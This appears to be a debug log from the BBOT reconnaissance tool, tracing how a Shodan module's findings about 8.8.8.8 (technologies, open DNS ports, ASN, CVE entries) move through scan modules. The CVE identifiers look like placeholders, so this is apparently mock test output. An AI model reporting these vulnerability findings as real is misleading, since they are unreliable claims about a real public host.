bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-servers'}) -2026-03-02 09:13:10,625 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-servers'}) in-scope because its main host matches the scan target -2026-03-02 09:13:10,625 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-servers'}) -2026-03-02 09:13:10,626 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check -2026-03-02 09:13:10,626 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:13:10,626 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-servers'}) passed post-check -2026-03-02 09:13:10,627 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-servers'}) -2026-03-02 09:13:10,627 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) in-scope because its main host matches the scan target -2026-03-02 09:13:10,628 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:13:10,628 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) passed post-check -2026-03-02 09:13:10,628 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) -2026-03-02 09:13:10,629 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-servers'}) -2026-03-02 09:13:10,629 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check -2026-03-02 09:13:10,629 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:13:10,630 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) in-scope because its main host matches the scan target -2026-03-02 09:13:10,630 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-servers'}) passed post-check -2026-03-02 09:13:10,630 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-servers'}) -2026-03-02 09:13:10,631 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) -2026-03-02 09:13:10,631 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) passed post-check -2026-03-02 09:13:10,631 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) -2026-03-02 09:13:10,631 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:13:10,632 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) passed post-check -2026-03-02 09:13:10,632 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) -2026-03-02 09:13:10,632 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-servers'}) -2026-03-02 09:13:10,632 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-servers'}) because precheck succeeded -2026-03-02 09:13:10,633 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check -2026-03-02 09:13:10,633 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:13:10,633 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) -2026-03-02 09:13:10,633 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check -2026-03-02 09:13:10,634 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) -2026-03-02 09:13:10,634 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) -2026-03-02 09:13:10,634 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-02 09:13:10,634 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) -2026-03-02 09:13:10,635 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) in-scope because its main host matches the scan target -2026-03-02 09:13:10,635 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:13:10,635 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) because precheck succeeded -2026-03-02 09:13:10,636 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) passed post-check -2026-03-02 09:13:10,636 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) -2026-03-02 09:13:10,636 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) -2026-03-02 09:13:10,636 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check -2026-03-02 09:13:10,636 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:13:10,637 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check -2026-03-02 09:13:10,637 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) -2026-03-02 09:13:10,637 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) in-scope because its main host matches the scan target -2026-03-02 09:13:10,638 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) -2026-03-02 09:13:10,638 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) because precheck succeeded -2026-03-02 09:13:10,638 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) passed post-check -2026-03-02 09:13:10,638 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) -2026-03-02 09:13:10,638 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:13:10,639 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) passed post-check -2026-03-02 09:13:10,640 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) -2026-03-02 09:13:10,640 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) -2026-03-02 09:13:10,640 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check -2026-03-02 09:13:10,640 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:13:10,641 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) in-scope because its main host matches the scan target -2026-03-02 09:13:10,641 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) -2026-03-02 09:13:10,641 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) because precheck succeeded -2026-03-02 09:13:10,642 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check -2026-03-02 09:13:10,642 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) -2026-03-02 09:13:10,642 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) -2026-03-02 09:13:10,643 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) passed post-check -2026-03-02 09:13:10,643 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) -2026-03-02 09:13:10,643 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:13:10,643 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) passed post-check -2026-03-02 09:13:10,644 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) -2026-03-02 09:13:10,644 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) in-scope because its main host matches the scan target -2026-03-02 09:13:10,644 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) -2026-03-02 09:13:10,645 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) because precheck succeeded -2026-03-02 09:13:10,645 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check -2026-03-02 09:13:10,645 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:13:10,645 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) -2026-03-02 09:13:10,646 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check -2026-03-02 09:13:10,646 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:13:10,646 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) -2026-03-02 09:13:10,647 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) passed post-check -2026-03-02 09:13:10,647 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) -2026-03-02 09:13:10,647 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) in-scope because its main host matches the scan target -2026-03-02 09:13:10,648 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:13:10,648 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) because precheck succeeded -2026-03-02 09:13:10,648 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) passed post-check -2026-03-02 09:13:10,648 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) -2026-03-02 09:13:10,649 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:13:10,649 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check -2026-03-02 09:13:10,649 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:13:10,650 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) -2026-03-02 09:13:10,650 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check -2026-03-02 09:13:10,650 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:13:10,650 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) -2026-03-02 09:13:10,651 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) because precheck succeeded -2026-03-02 09:13:10,651 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) passed post-check -2026-03-02 09:13:10,651 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) -2026-03-02 09:13:10,651 [DEBUG] bbot.modules._scan_ingress base.py:1563 Not forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) because event was already emitted by its module -2026-03-02 09:13:10,652 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check -2026-03-02 09:13:10,652 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:13:10,652 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:13:10,653 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) in-scope because its main host matches the scan target -2026-03-02 09:13:10,653 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) -2026-03-02 09:13:10,653 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) because precheck succeeded -2026-03-02 09:13:10,653 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check -2026-03-02 09:13:10,654 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:13:10,654 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:13:10,654 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check -2026-03-02 09:13:10,655 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:13:10,655 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check -2026-03-02 09:13:10,655 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:13:10,656 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) in-scope because its main host matches the scan target -2026-03-02 09:13:10,656 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:13:10,656 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) because precheck succeeded -2026-03-02 09:13:10,656 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:13:10,657 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:13:10,657 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check -2026-03-02 09:13:10,657 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:13:10,658 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check -2026-03-02 09:13:10,658 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:13:10,658 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:13:10,658 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:13:10,659 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) because precheck succeeded -2026-03-02 09:13:10,659 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check -2026-03-02 09:13:10,659 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:13:10,659 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) -2026-03-02 09:13:10,660 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) because precheck succeeded -2026-03-02 09:13:10,720 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-servers'}) from shodan_enterprise 